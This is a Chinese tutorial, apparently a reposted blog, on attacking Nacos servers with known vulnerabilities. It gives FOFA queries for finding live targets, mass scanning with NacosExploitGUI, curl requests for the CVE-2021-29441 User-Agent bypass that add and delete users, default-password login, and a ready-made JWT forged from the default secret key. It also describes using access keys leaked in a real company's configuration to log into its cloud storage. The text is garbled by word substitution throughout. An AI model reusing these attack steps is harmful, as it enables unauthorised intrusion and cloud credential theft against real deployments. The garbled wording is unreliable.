0x1 前言
这次给师傅们分析的是Nacos相关毛病发掘的骚本领,主要是给师傅们打下nday,让师傅们能够从零基础的小白也可以上手打Nacos的nday(主要给小白看的,大佬勿喷)。然后下面主要介绍了NacosExploitGUI自动化工具的使用,以及使用这个工具打nday的本领,以及要是批量毛病url怎么扫描利用,总的来讲,下面的毛病案例复现照旧蛮详细的。
0x2 Nacos简介
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、设置管理和服务管理平台。致力于资助发现、设置和管理微服务。Nacos 提供了一组简单易用的特性,可以快速实现动态服务发现、服务设置、服务元数据及流量管理。
0x3 靶场情况搭建
浅谈
要是师傅看我下面的案例,然后想跟着我一起挖这方面的毛病的话,没有找到相关实列,可以实验下上网找一些靶场搭建的方式,然后看看打下Nacos相关nday毛病。常见的Nacos情况搭建可以在github上下或者使用vulhub靶场一键摆设。
两种方式搭建情况:
1、github上下载nacos源码。解压,进入bin目录,运行startup.sh文件,使用以下命令启
动nacos。./startup.sh -m standalone 注:nacos运行情况是java1.8,所以要提前准备
java1.8情况。
从 Github 上下载源码方式
- git clone https://github.com/alibaba/nacos.git
- cd nacos/
- mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U
- ls -al distribution/target/
- // change the $version to your actual path
- cd distribution/target/nacos-server-$version/nacos/bin
下载编译后压缩包方式
您可以从 最新稳定版本:https://github.com/alibaba/nacos/releases 下载 nacos-server-$version.zip 包。
- unzip nacos-server-$version.zip 或者 tar -xvf nacos-server-$version.tar.gz
- cd nacos/bin
2、还有一种方法就是使用vulnhub靶场直接使用docker拉取情况
Nacos毛病登录页面如下:
0x4 NacosExploitGUI自动化工具
浅谈
在攻防演练中,Nacos不停是红队攻击的重点目标之一,红队通常需要快速打点,尽快发现体系中的毛病,并利用它们获取权限。在NacosExploitGUI_v7.0版本中,更新了UI及其各种友好的提示、新增空间测绘功能让打点资产更迅速、修复derby sql注入毛病在在特别场景下的编码问题、新增derby sql注入不出网RCE的检测及其利用、 修复设置文件提取接口上限的问题、JraftHessian 反序列化毛病新增自定义group攻击链路、新增自定义注入内存马密码及其路径、新增注入蚁剑内存马、新增命令实行可反弹shell功能等等。
NacosExploitGUI自动化工具:
https://github.com/charonlight/NacosExploitGUI
上面的这个图形化工具支持下面的几种毛病扫描范例
- Nacos Console 默认口令毛病
- Nacos Derby SQL 注入毛病(CNVD-2020-67618)
- Nacos User-Agent 权限绕过毛病(CVE-2021-29441)
- Nacos serverIdentity 权限绕过毛病
- Nacos token.secret.key 默认设置毛病(QVD-2023-6271)
- Nacos-Client Yaml 反序列化毛病
- Nacos Jraft Hessian 反序列化毛病(CNVD-2023-45001)
以使用工具进行批量毛病扫描,可以看到能够扫描到很多的毛病,此中默认设置毛病以及默认弱口令毛病是最为常见的
0x5毛病猎杀
相关毛病资产收集
像比如师傅们不知道怎么找nacos相关毛病的话,实在师傅们就可以直接使用空间检索引擎进行检索,比如常用的就是使用这个icon图标去找相关毛病,因为很多nacos框架网站并不肯定进行了魔改,所以可以使用icon图标进行资产收集,是最简单的
然后就可以使用空间引擎,下面我使用鹰图给师傅们演示下
还有一种方法就是使用FOFA空间语法进行检索相关资产信息
FOFA语句:app=”nacos” && port=”8848”
下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,
然后看下面的独立IP数量,有上万个,数量很多,那么我们就可以使用自动化扫描工具了,就比如使用我们上面的NacosExploitGUI自动化工具进行批量毛病匹配
然后确定完毛病以后,就可以直接进行挨个测试了,比如弱口令进去的,那么就可以进行然后再后台进行一个毛病测试,扩大危害。
毛病一:User-Agent权限绕过(CVE-2021-29441)
毛病描述: 该毛病发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开辟者原意是用来处理一些服务端对服务端的请求。但是由于设置的过于简单,而且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了毛病的出现。
毛病影响版本: Nacos <= 2.0.0-ALPHA.1
直接访问下面的目录,可以未授权检察到账号密码
- [/code] [list=1]
- [*] /v1/auth/users?pageNo=1&pageSize=100 //可检察到用户列表
- [/list] [align=center][img=1080,808]https://i-blog.csdnimg.cn/direct/f77e1a53d03c47da9200e6ea3040225a.png[/img][/align]
- 可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username
-
- [align=center][img=1080,719]https://i-blog.csdnimg.cn/blog_migrate/a57849918621da5af456f482c2691e4d.png[/img][/align]
-
- [align=center][img=1080,519]https://i-blog.csdnimg.cn/blog_migrate/d7e90ad5e3a4246ee8a025c005f3cfc2.png[/img][/align]
- 添加用户,访问下面的接口
- [list=1]
- [*] /v1/auth/users //添加用户
- [*] username=hhh&password=123456
- [*] User-Agent:Nacos-Server
- [/list]
- [align=center][img=1080,539]https://i-blog.csdnimg.cn/blog_migrate/b3f654c6e88a8fe096e43106473f6e2b.png[/img][/align]
- [code]
复制代码
- //检察用户是否添加乐成:
- /v1/auth/search?username=hhh
- curl 'http://IP/v1/auth/search?username=hhh'
-
- //删除用户
- curl -X DELETE "http://IP/v1/auth/users?username=hhh"
然后还可以使用我前面介绍的工具哈,直接就可以进行创建用户和删除用户的操作,非常简单便捷,适用于大批量IP渗出测试
毛病二:默认弱口令毛病
nacos框架的默认弱口令直接使用工具刚才检索出来了,直接常用的nacos:nacos登录乐成
毛病三:阿里云主机泄漏Access Key
然后你可以直接在设置列表中的详情里面检察网站的设置信息,然后去挨个找,因为里面都是云安全的一些情况的设置,里面常常会泄漏一些云安全的信息key值等,都是可以进行利用的
比如说里面找到OSS储存桶相关的,然后访问下,实验打个OSS存储桶毛病,感兴趣的师傅们可以根据我的这个思路进行测试下
厥后我在rokid-ar-security-platform-biz-prod.yml设置详情里面找到了这个东西,这个也是OSS储存桶相关的毛病,下面的url可以访问下,然后要是有回显的话,然后实验使用下面的access-key和secret-key进行密钥登录
- endpoint: xxxxxxxxxxxxxxx
- access-key: xxxxxxxxxxxxxxxxxxxxxxxx
- secret-key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
可以看到这里我直接就登录乐成了,且里面都是云空间里面的存储东西,下面可以看到里面的日志信息等
有一些他里面你要是没有找到那个访问的url或者访问不了禁止访问登录连接,那么师傅们可以实验下下面的这个工具oss-browser,就是专门来连接OSS的
https://github.com/aliyun/oss-browser
直接输入泄漏的access-key值,直接使用OSS连接工具就可以直接连接乐成了
包括也会使用阿里云的下面的这个连接工具:aliyun-accesskey-Tools
https://github.com/mrknow001/aliyun-accesskey-Tools
参考文章如下:
https://www.freebuf.com/articles/web/255717.html
要是运气好的话们,也就是我们上面的那个直接找到了下面的OSS阿里云主机登录的后台地址,且答应我们直接拿泄漏Access Key值进行登录连接,直接可以看到该阿里云服务器云上的全部信息了
毛病四:token.secret.key默认设置(QVD-2023-6271)
利用刚才的图形化nacos自动化毛病扫描工具扫出来的一个token.secret.key默认设置(QVD-2023-6271)毛病,下面就来打下这个洞
使用nacos默认key可进行jwt构造
nacos默认key(token.secret.key值的位置在conf下的application.properties)
- SecretKey012345678901234567890123456789012345678901234567890123456789
- JWT DATA:
- {
- "sub": "nacos",
- "exp": 1682308800
- }
SecretKey012345678901234567890123456789012345678901234567890123456789利用该key构造JWT,可以直接进入后台。
在:https://jwt.io/
- payload:
-
- {
- "sub": "nacos",
- "exp": 1721781819
- }
- //1721781819是unix的时间戳 需要比体系晚 一般可以改成明天的时间
- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
我们先直接随便输入一个账号密码,然后看看登录失败的返回包
然后把下面的payload复制到数据包中,就可以乐成了
- payload:
-
- Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw
然后再把返回包复制,再利用刚才的网站登录抓包,然后修改返回包,然后放包,就可以直接登录到网站后台了
毛病五:Spring-Boot毛病
对于Spring-Boot毛病,我们可以使用Spring-Boot-Scan毛病扫描工具
https://github.com/AabyssZG/SpringBoot-Scan
然后进入后台里面有spring-boot相关源代码,都是可以进行分析的,感兴趣的非常可以实验下
0x6 总结
这篇文章主要是给师傅们分享下Nacos毛病的相关,给师傅们提供下简单的对于Nacos毛病的思路,然后里面的案例详细的操作了对于Nacos毛病的nday毛病的打法以及使用工具进行批量扫描测试的本领。
更多网络安全优质免费学习资料与干货教程+
送渗出工具、技术文档、书籍,面试题、视频(基础到进阶。情况搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。
阐明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,全部渗出都需获取授权,违者后果自行承担,与本号及作者无关,请服膺遵法。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |